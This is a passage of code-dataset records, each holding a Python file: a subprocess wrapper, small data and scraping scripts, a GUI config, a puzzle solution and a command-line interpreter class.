Example:\n >>> info = cmd(('echo', 'tuple shell'), verbose=0, shell=True)\n >>> assert info['out'].strip().strip(\"'\") == 'tuple shell'\n\n Example:\n >>> import pytest\n >>> info = cmd('echo hi', check=True)\n >>> import subprocess\n >>> with pytest.raises(subprocess.CalledProcessError):\n >>> cmd('exit 1', check=True, shell=True)\n\n Example:\n >>> import ubelt as ub\n >>> from os.path import join, exists\n >>> fpath1 = join(ub.get_app_cache_dir('ubelt'), 'cmdout1.txt')\n >>> fpath2 = join(ub.get_app_cache_dir('ubelt'), 'cmdout2.txt')\n >>> ub.delete(fpath1)\n >>> ub.delete(fpath2)\n >>> info1 = ub.cmd(('touch', fpath1), detach=True)\n >>> info2 = ub.cmd('echo writing2 > ' + fpath2, shell=True, detach=True)\n >>> while not exists(fpath1):\n ... pass\n >>> while not exists(fpath2):\n ... pass\n >>> assert ub.readfrom(fpath1) == ''\n >>> info1['proc'].wait()\n >>> info2['proc'].wait()\n \"\"\"\n import subprocess\n # TODO: stdout, stderr - experimental - custom file to pipe stdout/stderr to\n if kwargs: # nocover\n if 'verbout' in kwargs:\n warnings.warn(\n '`verbout` is deprecated and will be removed. '\n 'Use `tee` instead', DeprecationWarning)\n tee = kwargs.pop('verbout')\n\n if 'detatch' in kwargs:\n warnings.warn(\n '`detatch` is deprecated (misspelled) and will be removed. '\n 'Use `detach` instead', DeprecationWarning)\n detach = kwargs.pop('detatch')\n\n if kwargs:\n raise ValueError('Unknown kwargs: {}'.format(list(kwargs.keys())))\n\n # Determine if command is specified as text or a tuple\n if isinstance(command, six.string_types):\n command_text = command\n command_tup = None\n else:\n import pipes\n command_tup = command\n command_text = ' '.join(list(map(pipes.quote, command_tup)))\n\n if shell or sys.platform.startswith('win32'):\n # When shell=True, args is sent to the shell (e.g. bin/sh) as text\n args = command_text\n else:\n # When shell=False, args is a list of executable and arguments\n if command_tup is None:\n # parse this out of the string\n # NOTE: perhaps use the solution from [3] here?\n import shlex\n command_tup = shlex.split(command_text)\n # command_tup = shlex.split(command_text, posix=not WIN32)\n args = command_tup\n\n if tee is None:\n tee = verbose > 0\n if verbose > 1:\n import os\n import platform\n import getpass\n from ubelt import shrinkuser\n if verbose > 2:\n try:\n print('┌─── START CMD ───')\n except Exception: # nocover\n print('+=== START CMD ===')\n cwd_ = os.getcwd() if cwd is None else cwd\n compname = platform.node()\n username = getpass.getuser()\n cwd_ = shrinkuser(cwd_)\n ps1 = '[ubelt.cmd] {}@{}:{}$ '.format(username, compname, cwd_)\n print(ps1 + command_text)\n\n # Create a new process to execute the command\n def make_proc():\n # delay the creation of the process until we validate all args\n proc = subprocess.Popen(args, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, shell=shell,\n universal_newlines=True, cwd=cwd, env=env)\n return proc\n\n if detach:\n info = {'proc': make_proc(), 'command': command_text}\n if verbose > 0: # nocover\n print('...detaching')\n else:\n if tee:\n # We logging stdout and stderr, while simulaniously piping it to\n # another stream.\n stdout = sys.stdout\n stderr = sys.stderr\n proc = make_proc()\n proc, logged_out, logged_err = _tee_output(proc, stdout, stderr,\n backend=tee_backend)\n\n try:\n out = ''.join(logged_out)\n except UnicodeDecodeError: # nocover\n out = '\\n'.join(_.decode('utf-8') for _ in logged_out)\n try:\n err = ''.join(logged_err)\n except UnicodeDecodeError: # nocover\n err = '\\n'.join(_.decode('utf-8') for _ in logged_err)\n (out_, err_) = proc.communicate()\n else:\n proc = make_proc()\n (out, err) = proc.communicate()\n # calling wait means that the process will terminate and it is safe to\n # return a reference to the process object.\n ret = proc.wait()\n info = {\n 'out': out,\n 'err': err,\n 'ret': ret,\n 'proc': proc,\n 'cwd': cwd,\n 'command': command_text\n }\n if verbose > 2:\n # https://en.wikipedia.org/wiki/Box-drawing_character\n try:\n print('└─── END CMD ───')\n except Exception: # nocover\n print('L___ END CMD ___')\n\n if check:\n if info['ret'] != 0:\n if six.PY2 or six.PY34:\n raise subprocess.CalledProcessError(\n info['ret'], info['command'], info['out'])\n else:\n raise subprocess.CalledProcessError(\n info['ret'], info['command'], info['out'], info['err'])\n return info\n","sub_path":"ubelt/util_cmd.py","file_name":"util_cmd.py","file_ext":"py","file_size_in_byte":15904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"651745935","text":"from sklearn.neighbors import NearestNeighbors\nimport numpy as np\nfrom scipy.spatial import distance\nfrom scipy import spatial\nimport csv\nimport re\ndata=[]\nwith open('DataDist.csv', 'rb') as csvfile:\n spamreader = csv.reader(csvfile, delimiter='\\t')\n for row in spamreader:\n for i in range(1,22):\n row[i]=float(row[i])+float(1.0/21) #smoothing\n data.append(row)\n\nmovie_name=[]\n# removing movies name\nfor i in range(len(data)):\n name=data[i].pop(0)\n movie_name.append(name)\n\nfor i in range(len(data)):\n for j in range(21):\n data[i][j]=float(data[i][j])\n\nmovie_from_radar=[.33,0,0,0,.33,0,0,0,0,0,0,0,0,0,0,0,0,.1,0,0,.33]\ndistance_list=[];\ndistanceVar=raw_input(\"enter the distance\")\noption_var=input(\"enter the option\")\nprint(type(option_var))\n\nif option_var==1:\n testVar = raw_input(\"Ask user for movie name.\")\n ## movie name to index\n for i in range(len(movie_name)):\n name=movie_name[i]\n if testVar.lower() in name.lower():\n k=i\n break\n\n movie_data=data[k]\n\nif option_var==2:\n movie_data=movie_from_radar\n\nif distanceVar == 'euclidean':\n print(\"dsdsd\")\n for i in range(len(data)):\n dist = distance.euclidean(movie_data,data[i])\n distance_list.append(dist)\n\nif distanceVar == 'cosine':\n print(\"cosine\")\n for i in range(len(data)):\n dist = spatial.distance.cosine(movie_data,data[i])\n distance_list.append(dist)\n\nif distanceVar == 'hamming':\n print(\"inside hamming\")\n for i in range(len(data)):\n dist = distance.hamming(movie_data,data[i])\n distance_list.append(dist)\n\nif distanceVar == 'minkowski':\n print(\"inside \")\n for i in range(len(data)):\n dist = distance.minkowski(movie_data,data[i],5)\n distance_list.append(dist)\n\n\nindex_list=[i[0] for i in sorted(enumerate(distance_list), key=lambda x:x[1])]\n\n\nfor i in range(6):\n j=int(index_list[i])\n #print(type(j))\n print(movie_name[j])\n\n\n\n\n\n\n","sub_path":"SSL.py","file_name":"SSL.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"351922523","text":"# encoding: utf-8\n\n\"\"\"\n@author: LongJY\n@file: method.py\n@time: 2018/5/4 下午3:49\n\"\"\"\n\nimport re\nimport datetime\n\nstr0 = '三四五'\nstr1 = '二十三栋一单元五零一号'\nstr2 = '二号楼三零一房'\nstr3 = '13-701'\n\n\nclass HouseNumReturn:\n chs_arabic_map = {u'零': 0, u'一': 1, u'二': 2, u'三': 3, u'四': 4,\n u'五': 5, u'六': 6, u'七': 7, u'八': 8, u'九': 9,\n u'十': 10, u'百': 100, u'千': 10 ** 3, u'万': 10 ** 4,\n u'〇': 0, u'壹': 1, u'贰': 2, u'叁': 3, u'肆': 4,\n u'伍': 5, u'陆': 6, u'柒': 7, u'捌': 8, u'玖': 9,\n u'拾': 10, u'佰': 100, u'仟': 10 ** 3, u'萬': 10 ** 4,\n u'亿': 10 ** 8, u'億': 10 ** 8, u'幺': 1,\n '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,\n '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}\n\n def __init__(self): pass\n\n def forStr(self, nStr: str):\n \"\"\"\n 对字符串进行遍历,将需要转换的字符取出\n :param nStr: 需要准换的字符\n :return: houseNumStr\n \"\"\"\n partStr = \"\"\n strs = []\n indx = 0\n for s in nStr:\n indx += 1\n if s in self.chs_arabic_map:\n partStr += s\n if indx == len(nStr):\n partStr = str(self.convertChineseDigitsToArabic(partStr))\n strs.append(partStr)\n else:\n if len(partStr) >= 1:\n partStr = str(self.convertChineseDigitsToArabic(partStr))\n strs.append(partStr)\n partStr = \"\"\n if len(strs) == 3:\n return strs[0] + \"-\" + strs[1] + \"-\" + strs[2]\n elif len(strs) == 2:\n return strs[0] + \"-\" + \"0\" + \"-\" + strs[1]\n elif len(strs) == 1:\n return strs[0]\n else:\n return nStr\n\n def convertChineseDigitsToArabic(self, chinese_digits):\n result = 0\n tmp = 0\n hnd_mln = 0\n for count in range(len(chinese_digits)):\n curr_char = chinese_digits[count]\n curr_digit = self.chs_arabic_map.get(curr_char, None)\n # meet 「亿」 or 「億」\n if curr_digit == 10 ** 8:\n result = result + tmp\n result = result * curr_digit\n # get result before 「亿」 and store it into hnd_mln\n # reset `result`\n hnd_mln = hnd_mln * 10 ** 8 + result\n result = 0\n tmp = 0\n # meet 「万」 or 「萬」\n elif curr_digit == 10 ** 4:\n result = result + tmp\n result = result * curr_digit\n tmp = 0\n # meet 「十」, 「百」, 「千」 or their traditional version\n elif curr_digit >= 10:\n tmp = 1 if tmp == 0 else tmp\n result = result + curr_digit * tmp\n tmp = 0\n # meet single digit\n elif curr_digit is not None:\n tmp = tmp * 10 + curr_digit\n else:\n return result\n result = result + tmp\n result = result + hnd_mln\n return result\n\n\ndef dateStrToDatetime(dateStr: str):\n \"\"\"\n 日期字符换转化为datetime\n :param dateStr: 时间字符串\n :return: datetime->datetime\n \"\"\"\n if type(dateStr) == str:\n return datetime.datetime.strptime(dateStr, \"%Y-%m-%d\")\n\n\ndef dateToDateStr(date0: datetime):\n \"\"\"\n datetime格式时间转化为字符串\n :param date0: datetime\n :return: dateStr\n \"\"\"\n return datetime.datetime.strftime(date0, \"%Y-%m-%d\")\n\n\nif __name__ == '__main__':\n dateStrToDatetime('2018-05-09')\n a = datetime.datetime(2018, 5, 9, 0, 0)\n s = dateToDateStr(a)\n print(s)","sub_path":"UserAcademy/DataValidation/SysDataImport/method.py","file_name":"method.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"432545001","text":"import random\nimport csv\nrandom.random()\n\nGOOD = 0\nBAD = 1 \n\n\nmakeDataPath = 'data.csv'\n\nf = open(makeDataPath, 'w', encoding='utf-8', newline='')\n\nwr = csv.writer(f)\n\n\nfor i in range(1000000):\n \n data = []\n sum = 0;\n for j in range(10):\n value = random.randrange(50,120)\n data.append(value)\n sum += value\n\n avr = 0;\n for j in range(10):\n avr = sum/10\n\n if avr < 100:\n data.append(GOOD)\n else:\n data.append(BAD)\n\n wr.writerow(data)\n\n","sub_path":"makeData.py","file_name":"makeData.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"64023535","text":"def start():\n\timport requests\n\tfrom bs4 import BeautifulSoup as BS4\n\timport requests\n\timport datetime\n\tfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\trequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\turl1=\"https://wds.modian.com/show_weidashang_pro/5329#1\"\n\turl2=\"https://wds.modian.com/ranking_list?pro_id=5329\"\n\theaders={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8','Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}\n\tr1=requests.get(url1,verify=False,headers=headers)\n\tr2=requests.get(url2,verify=False,headers=headers)\n\ti=0\n\tresult=\"*******BEJ48-李想7月应援*******\"+'\\n'\n\thtml_doc_1=r1.text\n\thtml_doc_2=r2.text\n\tsoup1=BS4(html_doc_1,\"html.parser\")\n\tsoup2=BS4(html_doc_2,\"html.parser\")\n\n\tnick_sup=[]\n\tmoney_sup=[]\n\trg=soup1.find(\"div\",class_=\"b\").get_text()\n\tnum=int(rg[0:3])\n\n\tfor i in range(num):\n\t\tmoney=soup2.find_all(\"span\",\"money\")[i].get_text()\n\t\tnick=soup2.find_all(\"span\",\"nickname\")[i].get_text()\n\t\tnick_sup.append(nick)\n\t\tmoney_sup.append(money)\n\n\tfor i in range(num):\n\t\tresult=result+\"第\"+str(i+1)+\"位:\"+nick_sup[i]+ money_sup[i]+'\\n'\n\tprint(result)\t\n\treturn result\n\nif __name__ == '__main__':\n\tstart() \n","sub_path":"plugins/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"85770542","text":"\nclass FormMixin(object):\n def get_error(self):\n if hasattr(self,'errors'):\n error_dict = {}\n errors = self.errors.get_json_data()\n # 错误信息格式为{'username': [{'message': '用户名不得少于4个字符', 'code': 'min_length'}], 'password': [{'message': '密码不得少于6个字符', 'code': 'min_length'}]}\n for key,message_dict in errors.items():\n messages = []\n for message in message_dict:\n messages.append(message['message'])\n error_dict[key] = messages\n return error_dict\n else:\n return {}\n\n\n","sub_path":"apps/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"451474009","text":"\"\"\" Default configuration and hyperparameter values for GUI objects. \"\"\"\nfrom gps.proto.gps_pb2 import TRIAL_ARM, AUXILIARY_ARM\n\n#TODO: These should probably be all caps?\n\n# PS3 Joystick Buttons and Axes\n# (documentation: http://wiki.ros.org/ps3joy).\n# Mappings from PS3 buttons to their corresponding array indices.\nps3_button = {\n 'select': 0,\n 'stick_left': 1,\n 'stick_right': 2,\n 'start': 3,\n 'cross_up': 4,\n 'cross_right': 5,\n 'cross_down': 6,\n 'cross_left': 7,\n 'rear_left_2': 8,\n 'rear_right_2': 9,\n 'rear_left_1': 10,\n 'rear_right_1': 11,\n 'action_triangle': 12,\n 'action_circle': 13,\n 'action_cross': 14,\n 'action_square': 15,\n 'pairing': 16,\n}\ninverted_ps3_button = {value: key for key, value in ps3_button.iteritems()}\n\n# Mappings from PS3 axes to their corresponding array indices.\nps3_axis = {\n 'stick_left_leftwards': 0,\n 'stick_left_upwards': 1,\n 'stick_right_leftwards': 2,\n 'stick_right_upwards': 3,\n 'button_cross_up': 4,\n 'button_cross_right': 5,\n 'button_cross_down': 6,\n 'button_cross_left': 7,\n 'button_rear_left_2': 8,\n 'button_rear_right_2': 9,\n 'button_rear_left_1': 10,\n 'button_rear_right_1': 11,\n 'button_action_triangle': 12,\n 'button_action_circle': 13,\n 'button_action_cross': 14,\n 'button_action_square': 15,\n 'acceleratometer_left': 16,\n 'acceleratometer_forward': 17,\n 'acceleratometer_up': 18,\n 'gyro_yaw': 19,\n}\ninverted_ps3_axis = {value: key for key, value in ps3_axis.iteritems()}\n\n# Mappings from actions to their corresponding keyboard bindings.\nkeyboard_bindings = {\n # Target Setup.\n 'ptn': 'left',\n 'ntn': 'right',\n 'pat': 'down',\n 'nat': 'up',\n\n 'sip': 'j',\n 'stp': 'k',\n 'sii': 'l',\n 'sti': ';',\n\n 'mti': 'u',\n 'mtt': 'i',\n 'rc': 'o',\n 'mm': 'p',\n\n # GPS Training.\n 'stop' : 's',\n 'reset': 'r',\n 'go' : 'g',\n 'fail' : 'f',\n\n # Image Visualizer\n 'oii' : 'i',\n 'oti' : 't',\n}\ninverted_keyboard_bindings = {value: key\n for key, value in keyboard_bindings.iteritems()}\n\n# Mappings from actions to their corresponding PS3 controller bindings.\nps3_bindings = {\n # Target Setup\n 'ptn': (ps3_button['rear_right_1'], ps3_button['cross_left']),\n 'ntn': (ps3_button['rear_right_1'], ps3_button['cross_right']),\n 'pat': (ps3_button['rear_right_1'], ps3_button['cross_down']),\n 'nat': (ps3_button['rear_right_1'], ps3_button['cross_up']),\n\n 'sip': (ps3_button['rear_right_1'], ps3_button['action_square']),\n 'stp': (ps3_button['rear_right_1'], ps3_button['action_circle']),\n 'sii': (ps3_button['rear_right_1'], ps3_button['action_cross']),\n 'sti': (ps3_button['rear_right_1'], ps3_button['action_triangle']),\n\n 'mti': (ps3_button['rear_right_2'], ps3_button['cross_left']),\n 'mtt': (ps3_button['rear_right_2'], ps3_button['cross_right']),\n 'rc' : (ps3_button['rear_right_2'], ps3_button['cross_down']),\n 'mm' : (ps3_button['rear_right_2'], ps3_button['cross_up']),\n\n # GPS Training\n 'stop' : (ps3_button['rear_right_2'], ps3_button['action_square']),\n 'reset': (ps3_button['rear_right_2'], ps3_button['action_triangle']),\n 'go' : (ps3_button['rear_right_2'], ps3_button['action_circle']),\n 'fail' : (ps3_button['rear_right_2'], ps3_button['action_cross']),\n\n # Image Visualizer\n 'oii' : (ps3_button['cross_up'] ,),\n 'oti' : (ps3_button['cross_down'] ,),\n}\ninverted_ps3_bindings = {value: key for key, value in ps3_bindings.iteritems()}\n\ncommon = {\n 'ps3_button': ps3_button,\n 'inverted_ps3_button': inverted_ps3_button,\n 'ps3_axis': ps3_axis,\n 'inverted_ps3_ax': inverted_ps3_axis,\n\n 'keyboard_bindings': keyboard_bindings,\n 'inverted_keyboard_bindings': inverted_keyboard_bindings,\n 'ps3_bindings': ps3_bindings,\n 'inverted_ps3_bindings': inverted_ps3_bindings,\n\n 'ps3_topic': 'joy',\n 'ps3_process_rate': 20, # Only process 1/20 of PS3 messages.\n\n 'image_topic': '/camera/rgb/image_color',\n}\n\ntarget_setup = {\n 'num_targets': 10,\n 'actuator_types': [TRIAL_ARM, AUXILIARY_ARM],\n 'actuator_names': ['trial_arm', 'auxiliary_arm'],\n\n 'target_setup_log_filename': 'target_setup_log.txt',\n}\n\ngps_training = {\n 'gps_training_log_filename': 'gps_training_log.txt',\n 'image_actuator': target_setup['actuator_names'][0], # which actuator to get initial and target images from\n}\n","sub_path":"python/gps/gui/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"109352114","text":"import numpy as np\nimport csv\n\ndef main():\n x = np.random.randn(10000, 3)\n for i in range(x.shape[0]):\n print(x[i])\n print('look at me')\n\nif __name__ == '__main__':\n main()\n","sub_path":"cython/embed/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"494346196","text":"'''\n<틀린 이유 분석>\n1. 아직 변수명이나, 함수구조가 이해하기 어렵다. C라던지 candidate라던지\n그래서 늘 어려운 구현 문제 틀리는 듯 하다.\n\n2. Python 전역변수 수정은 global 써야지 되는거 아니었나?\n왜 동빈씨는 말안해주고 혼자서 temp를 만들어서 풀었을까?\n나도 data 그대로가 아니라 temp 만들어서 하면 잘 돌아갈 것 같다.\n--> 아니었다 ㅎㅎ\n'''\nfrom collections import deque\nfrom itertools import combinations\n\nN, M = map(int, input().split())\ndata = [list(map(int, input().split())) for _ in range(N)]\ntemp = [[0] * M for _ in range(N)]\nvisited = [[False] * M for _ in range(N)]\n\n# debug\n# print(N, M)\n# print(data)\n# print(visited)\n\ndef find_empty(data) -> list:\n result = []\n for i in range(len(data)):\n for j in range(len(data[0])):\n if data[i][j] == 0:\n result.append((i, j))\n return result\n\n# print(find_empty(data))\n\ncandidate = find_empty(data)\nC = list(combinations(candidate, 3))\n\n# print(C)\n\ndx = [0, 0, -1, +1]\ndy = [-1, +1, 0, 0]\n\ndef bfs(temp, visited) -> int:\n # find virus\n for i in range(len(temp)):\n for j in range(len(temp[0])):\n if(temp[i][j] == 2): # if virus\n queue = deque([(i,j)])\n\n while queue:\n x, y = queue.popleft()\n if visited[x][y]:\n continue\n # not visited\n visited[x][y] = True\n temp[x][y] = 2 # Virus\n # check NSEW\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n\n if 0 <= nx < N and 0 <= ny < M:\n if temp[nx][ny] == 0:\n queue.append((nx, ny))\n # check count\n return(len(find_empty(temp)))\n\ndef check(data, points) -> int:\n # set temp\n for i in range(len(data)):\n for j in range(len(data[0])):\n temp[i][j] = data[i][j]\n # set wall\n for point in points:\n x, y = point\n temp[x][y] = 1 # set wall\n return bfs(temp, visited)\n\n\n# Solution\nresult = 0\nfor points in C:\n result = max(result, check(data, points))\n\nprint(result)","sub_path":"books/dongbin-na/part3_dfs,bfs/(fail)dfs,bfs_2.py","file_name":"(fail)dfs,bfs_2.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"414495265","text":"\r\n# quick gui to load and plot multiple stock time-series on the same axes\r\nfrom PyQt4 import QtGui\r\nimport sys\r\n\r\n\r\n# main GUI, inherits QWidget\r\nclass StockGui(QtGui.QWidget):\r\n\r\n # initialize much simpler GUI\r\n def __init__(self):\r\n\r\n # initialize inherited class\r\n super().__init__()\r\n\r\n # create a layout on self, add widgets to it\r\n layout = QtGui.QVBoxLayout(self)\r\n layout.addWidget(QtGui.QLabel('this is on top'))\r\n layout.addWidget(QtGui.QLabel('this is on bottom'))\r\n\r\n# run GUI\r\napp = QtGui.QApplication([])\r\ngui = StockGui()\r\ngui.show()\r\nsys.exit(app.exec_())\r\n","sub_path":"PyQt4 apps/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"461630749","text":"'''Ria is a 5 year old girl. Her mother wants to teach her how to sort words in the same order that they appear in a dictionary. \nShe decides to write a program to sort a given set of strings based on their alphabetical order. \nHelp Ria’s mother to complete the program.\nSample Input :\n3\nInfinityWar EndGame Avengers\nSample Output :\nAvengers EndGame InfinityWar\n'''\nn=int(input())\nstring=list(map(str,input().split()))[:n]\nstring.sort()\nprint(' '.join(string))\n","sub_path":"Python/strings/508.py","file_name":"508.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"198332376","text":"def main():\n '''Imports the master command json and meta commands to send to Cmd()'''\n import json\n\n GMpath = '.\\\\jsons\\\\GMcmds.json'\n METApath = '.\\\\jsons\\\\METAcmds.json'\n with open(GMpath, 'r') as cmds:\n cmdJSON = json.load(cmds)\n with open(METApath, 'r') as cmds:\n metaJSON = json.load(cmds)\n Cmd(cmdJSON, metaJSON)\n\n\nclass Cmd():\n\n def __init__(self, cmdJSON, metaJSON):\n '''Starts the entire program. Sets up some needed variables, and starts the main loop.\n First, interpret() is called, which uses _get_prompt, _get_cmdList, and prompt to prompt user.\n At the end of interpret(), either a nextClassInstance or a nextMethod will have been created.\n If statement calls either, not both. Other ClassInstances will have their own loops,\n or they will kick back to the outer loop after they are done.'''\n\n # Setting full json dictionaries here for access anywhere in program.\n Cmd.root_cmdDict = cmdJSON\n Cmd.metaJSON = metaJSON\n # Setting initial variables\n orig_cmdList = []\n orig_poppedList = []\n prevCMD = None\n currentCMD = None\n self.cmdStack = {\n # holds prevously parsed cmd\n 'prev': prevCMD, # holds prevously parsed cmd\n # holds currentCMD being interpreted\n 'current': currentCMD,\n # holds list of previously parsed cmds\n 'prompt': orig_poppedList,\n # holds list of future commands to parse. Ideally should always have at least one cmd waiting.\n 'cmds': orig_cmdList}\n self._selfVars(self.cmdStack, cmdJSON)\n # Starting base program loop.\n while self.exit is False:\n self._cmdLoop()\n # If program makes it here. That means the user has chosen to exit.\n print('Exiting gmcmd...')\n return None\n\n def _cmdLoop(self):\n '''Holds main commands for controlling the flow through a class instance.'''\n while self.back is False:\n self.interpret(self.cmdStack)\n self.nextClassInstance = self\n self.nextMethod = self.__init__\n\n def exit(self, cmd_stack_in): # needs to be replaced with proper exit function\n '''Provides prompt loop for user to decide whether or not to exit the program.'''\n print('reachedExit')\n loop = True\n while loop is True:\n print('Are you sure you want to exit? Any progress will not be saved. Y/N')\n inpt = input()\n if inpt is 'Y' or inpt is 'y':\n raise SystemExit\n elif inpt is 'N' or inpt is 'n':\n # returns user to last prompt state\n print('Returning to last command')\n self.cmdStack = self._prevStack(cmd_stack_in)\n self.cmdDict = self.received_cmdDict\n return self.cmdStack\n else:\n print('Not valid input. Please input Y/y or N/n.')\n cmd_stack_in['prompt'].append('exit')\n self.cmdStack = self._prevStack(cmd_stack_in)\n loop = True\n\n def back(self, cmd_stack_in):\n '''Rolls back the cmdStack and backs out of the class instance, into the previous \\\n class instance's cmdLoop.'''\n self.cmdStack = self._prevStack(cmd_stack_in)\n self.back = True\n return self.cmdStack\n\n def help(self, cmd_stack_in):\n '''Grabs and displays all available commands in the current class instance'''\n print('reachedHelp')\n for cmd in self.tempDict:\n try:\n print('{}:\\t\\t{}'.format(cmd, self.methodDocs[self.tempDict[cmd]]))\n except TypeError:\n print(f'{cmd}:\\t\\tis a sub-command.')\n except KeyError:\n print(f'{cmd}:\\t\\tis a player or party.')\n self.cmdDict = self.tempDict\n self.cmdStack = self._prevStack(cmd_stack_in)\n if isinstance(self, Player) is True:\n self.cmdStack = self._prevStack(cmd_stack_in)\n elif isinstance(self, Party) is True:\n self.cmdStack = self._prevStack(cmd_stack_in)\n return self.cmdStack\n # return self.interpret(self.prompt(cmd_stack_out))\n # # roll back cmdStack\n\n def _selfVars(self, cmd_stack_in, cmdDict):\n import inspect\n '''Assigns instance variables that need to be assigned in both parent and subclass init methods.\n The subclass cannot run the parent class' init method, so these must be assigned in a method.'''\n # Create instance variables\n self.received_cmdDict = {}\n self.received_cmdStack = {}\n self.cmdDict = {}\n self.cmdStack = {}\n # Fill instance variables\n self.received_cmdDict = cmdDict\n self.received_cmdStack = cmd_stack_in\n self.cmdDict = cmdDict\n self.cmdStack = cmd_stack_in\n # Grab METAcmds\n self.METAcmds = Cmd.metaJSON\n # Set next instance and method to current instance and its init\n self.nextClassInstance = self\n self.nextMethod = self.__init__\n # Build dictionary of all methods in the current class instance\n self.methodDocs = {}\n self.methodDict = {}\n inspectLst = inspect.getmembers(self, predicate=inspect.ismethod)\n for item in inspectLst:\n self.methodDict[item[0]] = item[1]\n self.methodDocs[item[0]] = item[1].__doc__\n\n # Set escape bools for getting in and out of the class instances.\n self.back = False\n self.exit = False\n\n def prompt(self, cmd_stack_in):\n '''Prompts user for input. Does some pre-processing to determine whether or not cmd entered\n is a METAcmd like \"exit\" or \"help\".'''\n # Init cmdStack that will leave the method\n cmd_stack_out = cmd_stack_in\n # Prompt and edit the out cmdStack\n while cmd_stack_out['cmds'] == []:\n # Generate/print prompt\n if cmd_stack_out['prompt'] == []:\n prompt = 'GMcmd>'\n else:\n prompt = \"%s>\" % '>'.join(cmd_stack_out['prompt'])\n print(prompt, end=\"\")\n # Grab input\n cmd_stack_out['cmds'] = input().split()\n # Check for exit or help here, as propmt is where user input comes in.\n if cmd_stack_out['cmds'][0] in self.METAcmds:\n # If true, change the dictionary interpret() will see to the METAcmd dict\n # print('{} is a METAcmd.'.format(cmd_stack_out['cmds'][0]))\n self.tempDict = self.cmdDict # Only used for help method(for now)\n self.cmdDict = self.METAcmds\n print(\"prompt stack:\", cmd_stack_out)\n return cmd_stack_out\n\n def _nextstack(self, cmd_stack_in):\n '''Iterates the cmdStack to its next state. \\\n Moves currentcmd to previous, new cmd to current, and appends new cmd to prompt. \\\n checks at the end if the cmd was a wrong cmd. If so does not count it in prompt. \\\n _strip_cmdDict should catch the command itself upon interpretation'''\n cmd_stack_out = cmd_stack_in\n print(\"nextstack start:\", cmd_stack_out)\n prevCMD = cmd_stack_in['prev']\n if cmd_stack_in['prev'] is None and cmd_stack_in['current'] is None:\n # (0,0) if just starting there will be no cmds popped yet\n # we pop first cmd into pevious slot, then second into current\n currentCMD = cmd_stack_in['cmds'].pop(0)\n cmd_stack_out['prompt'].append(currentCMD)\n # print(\"nextstack 0,0:\", cmd_stack_out)\n elif cmd_stack_in['prev'] is not None and cmd_stack_in['current'] is None:\n # (1,0) something went wrong. Current should never be empty, while prev is full.\n print('Something went wrong. cmdStack should never be in this state.')\n else:\n # (1,1) cmd_stack_in['prev'] != None and cmd_stack_in['current'] != None:\n # (0,1) cmd_stack_in['prev'] == None and cmd_stack_in['current'] != None:\n prevCMD = cmd_stack_in['current']\n currentCMD = cmd_stack_in['cmds'].pop(0)\n cmd_stack_out['prompt'].append(currentCMD)\n # print(\"nextstack 1,1/0,1:\", cmd_stack_out)\n # Check if cmd is valid, and remove from prompt before it leaves the method.\n if currentCMD not in self.cmdDict:\n print(f'{currentCMD} is not a command. Not appending to prompt. Rolling back cmd.')\n cmd_stack_out['prompt'].pop(-1)\n else:\n cmd_stack_out['prev'] = prevCMD\n cmd_stack_out['current'] = currentCMD\n cmd_stack_out['cmds'] = cmd_stack_in['cmds']\n\n print(\"nextstack end:\", cmd_stack_out)\n return cmd_stack_out\n\n def _prevStack(self, cmd_stack_in):\n '''Undoes whatever the previous cmd was. It's a little less pythonic than I want \\\n but idk how to fix it yet'''\n cmd_stack_out = cmd_stack_in\n # print('Before _prevStack:\\t', cmd_stack_in)\n if cmd_stack_out['prev'] is None or cmd_stack_out['prev'] is '':\n cmd_stack_out['current'] = ''\n cmd_stack_out['prompt'].pop(0)\n else:\n cmd_stack_out['current'] = cmd_stack_in['prev']\n cmd_stack_out['prompt'].pop(-1)\n if len(cmd_stack_out['prompt']) == 1:\n cmd_stack_out['prev'] = None\n else:\n cmd_stack_out['prev'] = cmd_stack_in['prompt'][-2]\n # print('prevStack_out:\\t', cmd_stack_out)\n return cmd_stack_out\n\n def _strip_cmdDict(self, currentCmdKey):\n '''Peels back the current layer of the cmdDict and returns the stuff beneath.'''\n try:\n print('currentCmdKey:\\t', currentCmdKey)\n # Assign the value of the current dictionary key, to the instance variable\n self.stripped_cmdDict = self.cmdDict[currentCmdKey]\n # print('stripped_cmdDict:\\t', 